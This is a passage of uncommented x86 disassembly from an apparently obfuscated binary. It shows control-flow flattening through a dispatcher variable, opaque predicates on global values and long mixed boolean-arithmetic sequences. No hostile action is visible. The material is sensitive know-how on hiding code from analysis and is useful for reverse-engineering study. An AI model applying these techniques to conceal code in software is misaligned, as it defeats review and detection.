or eax, 0x96ddc25d
and edi, eax
mov eax, dword [ebp - 0xbdc]
or edx, edi
mov edi, eax
and edi, ebx
xor eax, ebx
or edi, eax
mov ebx, edx
xor ebx, 0xffffffff
mov eax, edi
and eax, ebx
mov ebx, dword [ebp - 0xbd8]
xor edi, 0xffffffff
and edx, edi
or eax, edx
mov dword [ebp - 0xbb0], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xb5d69449
mov eax, edx
and eax, 0xb5d69449
mov dword [ebp - 0xbd4], eax
and ecx, edi
mov eax, ebx
and eax, 0xb5d69449
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd8]
and eax, edi
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0xbd4]
or eax, ecx
mov ecx, dword [ebp - 0xbd0]
mov dword [ebp - 0xbc8], eax
mov eax, dword [ebp - 0xbcc]
or ecx, eax
mov eax, dword [ebp - 0xbc8]
xor eax, ecx
mov ecx, dword [ebp - 0xbc4]
or edx, ebx
xor edx, 0xffffffff
or edi, 0xb5d69449
and edx, edi
or eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and eax, edi
or edx, eax
mov edi, 0xffffffff
xor edi, 0x32aef447
mov dword [ebp - 0xbb4], edi
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xbb8], eax
mov ebx, 0xffffffff
xor ebx, 0x93585906
and edi, 0x93585906
mov eax, ebx
and eax, 0x32aef447
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0xbb8]
and eax, 0x93585906
mov dword [ebp - 0xbbc], eax
mov eax, dword [ebp - 0xbc0]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0xbbc]
or eax, ecx
mov ecx, dword [ebp - 0xbb8]
xor edi, eax
mov eax, dword [ebp - 0xbb4]
or eax, ecx
mov ecx, dword [ebp - 0xbb0]
xor eax, 0xffffffff
or ebx, 0x93585906
and eax, ebx
or edi, eax
xor edi, 0xffffffff
mov eax, edx
xor eax, edi
and eax, edx
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0xba8], ebx
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x126c8beb
and ebx, 0x126c8beb
mov dword [ebp - 0xbac], ebx
and ecx, edx
mov ebx, edi
and ebx, 0x126c8beb
and eax, edx
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xbac]
or eax, ecx
mov ecx, dword [ebp - 0xba8]
mov dword [ebp - 0xba0], eax
mov eax, dword [ebp - 0xba4]
or ebx, eax
mov eax, dword [ebp - 0xba0]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x126c8beb
and ecx, edx
or eax, ecx
mov dword [ebp - 0xb8c], eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xe18695a8
mov edx, 0xffffffff
xor edx, 0xe18695a8
mov edi, esi
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xe18695a8
and edx, 0xffffffff
or eax, edi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0xffc45489
and eax, 0xffc45489
mov edx, 0xffffffff
xor edx, 0xffc45489
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffc45489
or edx, ecx
mov edi, edx
xor edi, 0xffffffff
mov ecx, esi
xor ecx, edi
and ecx, esi
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
or edi, esi
mov ebx, 0xffffffff
xor ebx, 0xffc45489
mov esi, edi
xor esi, ebx
and esi, edi
mov dword [ebp - 0xb94], esi
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
mov dword [ebp - 0xb90], edi
mov ebx, 0xffffffff
xor ebx, 0x4916949c
mov edi, esi
and edi, 0x4916949c
and eax, ebx
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0xb90]
and eax, 0x4916949c
mov dword [ebp - 0xb98], eax
mov eax, dword [ebp - 0xb9c]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0xb98]
or eax, ecx
mov ecx, dword [ebp - 0xb94]
xor edi, eax
mov eax, dword [ebp - 0xb90]
or esi, eax
mov eax, dword [ebp - 0xb8c]
xor esi, 0xffffffff
or ebx, 0x4916949c
and esi, ebx
or edi, esi
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xc9fe6ced
mov ebx, 0xffffffff
xor ebx, 0xc9fe6ced
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xc9fe6ced
and esi, ebx
or edx, edi
or ecx, esi
xor edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
mov ecx, esi
and ecx, eax
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xa2], al
mov dword [ebp - 0x1e0], 0x22984eb8
jmp 0x486e58
mov eax, dword [ebp - 0x178]
mov dword [eax], 0x40
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, 0xfd4f01f3
add edx, esi
xor edi, edi
sub edi, edx
add edi, 0x3d58180a
sub edi, 1
sub edi, 0x3d58180a
xor edx, edx
sub edx, 0xfd4f01f3
add edi, edx
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0x2afb2ddf
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x2afb2ddf
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ch
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov byte [ebp - 0xc8d], cl
mov cl, bh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
mov dh, cl
and dh, 0
and bh, dl
mov byte [ebp - 0xc8f], bh
mov bh, ah
and bh, 0
and al, dl
mov byte [ebp - 0xc8e], al
mov al, byte [ebp - 0xc8f]
or dh, al
mov al, byte [ebp - 0xc8e]
or bh, al
mov al, byte [ebp - 0xc8d]
xor dh, bh
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
mov dl, al
and dl, 0
xor al, 0
or dl, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, bl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov bh, ch
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, al
and ah, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov byte [ebp - 0xc86], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
mov byte [ebp - 0xc87], ch
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
mov dh, 1
xor dh, 1
mov bh, al
xor bh, dh
and bh, al
mov dh, dl
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov dh, 1
xor dh, 1
mov cl, ch
xor cl, dh
and cl, ch
mov byte [ebp - 0xc8a], cl
mov ch, dl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and bh, ch
mov byte [ebp - 0xc8c], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0xc8b], al
mov al, byte [ebp - 0xc8c]
or dh, al
mov al, byte [ebp - 0xc8b]
or bh, al
mov al, byte [ebp - 0xc8a]
xor dh, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, ah
and ch, 0
and al, bl
mov byte [ebp - 0xc89], al
mov al, bh
and al, 0
mov byte [ebp - 0xc88], al
mov al, byte [ebp - 0xc89]
and cl, bl
or ch, al
mov al, byte [ebp - 0xc88]
or al, cl
mov cl, byte [ebp - 0xc87]
xor ch, al
mov al, byte [ebp - 0xc86]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x29d6c6a0
mov ecx, 0xe8ee26da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x1442bc9f
jmp 0x486e58
mov dl, byte [ebp - 0xa1]
mov eax, 0x9f80836
mov ecx, 0x938a6182
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1e0], 0x4c0f1008
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x3c6e7be7
mov edx, eax
add edx, esi
sub edx, 0x464d7358
add edx, 0x32a0f24d
add edx, 0x464d7358
add edx, 0xa0d897a6
add edx, 0x3c6e7be7
sub edx, 0xa0d897a6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x36c10379
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x3c2e3ccf
sub edx, 1
add edx, 0x3c2e3ccf
sub edx, 0xa8851b9b
sub edx, 0x36c10379
add edx, 0xa8851b9b
xor esi, esi
sub esi, 0x1ad3936b
add edx, esi
sub edx, 0x978edbeb
sub edx, 0x32a0f24d
add edx, 0x978edbeb
add edx, 0x246c1e6d
add edx, 0x1ad3936b
sub edx, 0x246c1e6d
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, ah
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or al, dh
or cl, ch
xor al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov byte [ebp - 0xdce], ah
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ch, dl
and ch, dh
or cl, ch
mov byte [ebp - 0xdcf], cl
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or bh, bl
or ch, dh
xor bh, ch
mov ch, 1
xor ch, 1
mov bl, ah
xor bl, ch
and bl, ah
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
xor cl, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0xdd2], cl
mov ah, bh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, bl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and bl, ah
mov byte [ebp - 0xdd4], bl
mov bl, ch
and bl, 0
and al, ah
mov byte [ebp - 0xdd3], al
mov al, byte [ebp - 0xdd4]
or dh, al
mov al, byte [ebp - 0xdd3]
or bl, al
mov al, byte [ebp - 0xdd2]
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and al, ah
mov byte [ebp - 0xdd1], al
mov al, bl
and al, 0
mov byte [ebp - 0xdd0], al
mov al, byte [ebp - 0xdd1]
and cl, ah
or ch, al
mov al, byte [ebp - 0xdd0]
or al, cl
mov cl, byte [ebp - 0xdcf]
xor ch, al
mov al, byte [ebp - 0xdce]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0xdcd], dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0xdcd]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1bdfcfa
mov ecx, 0xa899b15f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
mov edx, eax
add edx, 0x6ca3fa73
sub edx, 0x6769d74e
sub edx, 0x6ca3fa73
sub edx, 0xb8a90372
sub edx, 0xe38e01a3
add edx, 0xb8a90372
sub edx, 0x76c54269
add edx, 0x6769d74e
add edx, 0x76c54269
add edx, 0xe83c740b
add edx, 0x2bf2158e
sub edx, 0xe83c740b
add edx, 0xf64ea539
sub edx, 1
sub edx, 0xf64ea539
xor esi, esi
sub esi, 0x2bf2158e
add edx, esi
add edx, 0x582cfd0c
add edx, 0x838098f0
sub edx, 0x582cfd0c
xor esi, esi
sub esi, 0xe38e01a3
sub edx, esi
add edx, 0x515229a0
sub edx, 0x838098f0
sub edx, 0x515229a0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dl, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, bl
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bh
or cl, dh
xor al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov byte [ebp - 0xddc], cl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0xdde], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0xddd], al
mov al, byte [ebp - 0xdde]
or cl, al
mov al, byte [ebp - 0xddd]
or bh, al
mov al, byte [ebp - 0xddc]
xor cl, bh
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, bl
xor al, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dh, dl
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0xdd7], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
xor al, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, bh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, dh
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or dl, bl
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xdd9], dl
xor ch, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xdd8], ah
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
and al, bl
mov byte [ebp - 0xddb], al
mov al, byte [ebp - 0xdd8]
and al, 0xff
mov byte [ebp - 0xdda], al
mov al, byte [ebp - 0xddb]
and cl, bl
or ah, al
mov al, byte [ebp - 0xdda]
or al, cl
mov cl, byte [ebp - 0xdd9]
xor ah, al
mov al, byte [ebp - 0xdd8]
or dl, al
mov al, byte [ebp - 0xdd7]
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xdd6], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, al
mov al, byte [ebp - 0xdd6]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0xdd5], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xdd5]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1bdfcfa
mov ecx, 0xd991c49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x174]
mov esi, dword [eax]
mov ecx, 0xffffffff
xor ecx, 0x40000000
and ecx, 0xf95ada4e
mov edx, 0xffffffff
xor edx, 0xf95ada4e
mov edi, edx
and edi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf95ada4e
and edx, 0xffffffff
or ecx, edi
or eax, edx
xor ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xf1755797
mov edx, 0xffffffff
xor edx, 0xf1755797
mov ebx, edx
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf1755797
and edx, 0xffffffff
or edi, ebx
or eax, edx
xor edi, eax
mov edx, 0xffffffff
xor edx, 0x40000000
xor edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xd3348395
or edx, edi
or eax, 0xd3348395
xor edx, 0xffffffff
and edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xe68], eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
mov ecx, esi
and ecx, edi
or edx, ecx
xor edx, 0xffffffff
xor edx, 0xbe0da200
and edx, 0xbe0da200
mov ebx, 0xffffffff
xor ebx, 0xbe0da200
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xbe0da200
or ebx, ecx
mov dword [ebp - 0xe6c], ebx
mov edi, esi
xor edi, 0xffffffff
xor ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xc6a8580e
or edi, ebx
or ecx, 0xc6a8580e
xor edi, 0xffffffff
and edi, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x872bdf25
mov ebx, 0xffffffff
xor ebx, 0x872bdf25
and eax, ebx
mov dword [ebp - 0xe74], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x872bdf25
mov dword [ebp - 0xe70], eax
mov eax, dword [ebp - 0xe74]
and ebx, 0xffffffff
or ecx, eax
mov eax, dword [ebp - 0xe70]
or eax, ebx
xor ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xbe0da200
mov ebx, 0xffffffff
xor ebx, 0x551108c5
or ecx, eax
mov eax, dword [ebp - 0xe6c]
or ebx, 0x551108c5
xor ecx, 0xffffffff
and ecx, ebx
mov ebx, dword [ebp - 0xe68]
xor eax, 0xffffffff
xor ebx, eax
mov eax, dword [ebp - 0xe68]
and ebx, eax
mov dword [ebp - 0xe64], ebx
mov eax, edx
and eax, edi
xor edx, edi
or eax, edx
mov dword [ebp - 0xe50], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xf0f6f116
mov eax, edx
and eax, 0xf0f6f116
mov dword [ebp - 0xe60], eax
and ecx, edi
mov eax, ebx
and eax, 0xf0f6f116
mov dword [ebp - 0xe58], eax
mov eax, dword [ebp - 0xe64]
and eax, edi
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe60]
or eax, ecx
mov ecx, dword [ebp - 0xe5c]
mov dword [ebp - 0xe54], eax
mov eax, dword [ebp - 0xe58]
or eax, ecx
mov ecx, dword [ebp - 0xe54]
xor ecx, eax
mov eax, dword [ebp - 0xe50]
or edx, ebx
xor edx, 0xffffffff
or edi, 0xf0f6f116
and edx, edi
or ecx, edx
mov edi, eax
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
xor ecx, 0xffffffff
and eax, ecx
or edx, eax
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0xe12f6067
mov ecx, 0xffffffff
xor ecx, 0xe12f6067
and edx, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xe12f6067
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x847ad6c6
mov edx, 0xffffffff
xor edx, 0x847ad6c6
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x847ad6c6
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x31dfb216
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x31dfb216
or ecx, edx
mov dword [ebp - 0xe44], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5e23ddd2
mov edi, ecx
and edi, 0x5e23ddd2
and ebx, edx
mov dword [ebp - 0xe4c], ebx
mov ebx, esi
and ebx, 0x5e23ddd2
and eax, edx
mov dword [ebp - 0xe48], eax
mov eax, dword [ebp - 0xe4c]
or edi, eax
mov eax, dword [ebp - 0xe48]
or ebx, eax
mov eax, dword [ebp - 0xe44]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5e23ddd2
and ecx, edx
or edi, ecx
mov edx, eax
and edx, 0x31dfb216
xor eax, 0x31dfb216
or edx, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xec509eac
mov esi, 0xffffffff
xor esi, 0xec509eac
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xec509eac
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0xee66f0a2
add esi, 0
xor edx, edx
sub edx, 1
add esi, edx
xor edx, edx
sub edx, 0xee66f0a2
sub esi, edx
xor edi, edi
sub edi, 0x24633dbb
mov edx, ecx
add edx, edi
add edx, 0x24953ebb
add edx, esi
sub edx, 0x24953ebb
sub edx, 0x20f49d0b
add edx, 0x24633dbb
add edx, 0x20f49d0b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0xe32], dh
cmp eax, 0xa
setl ah
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
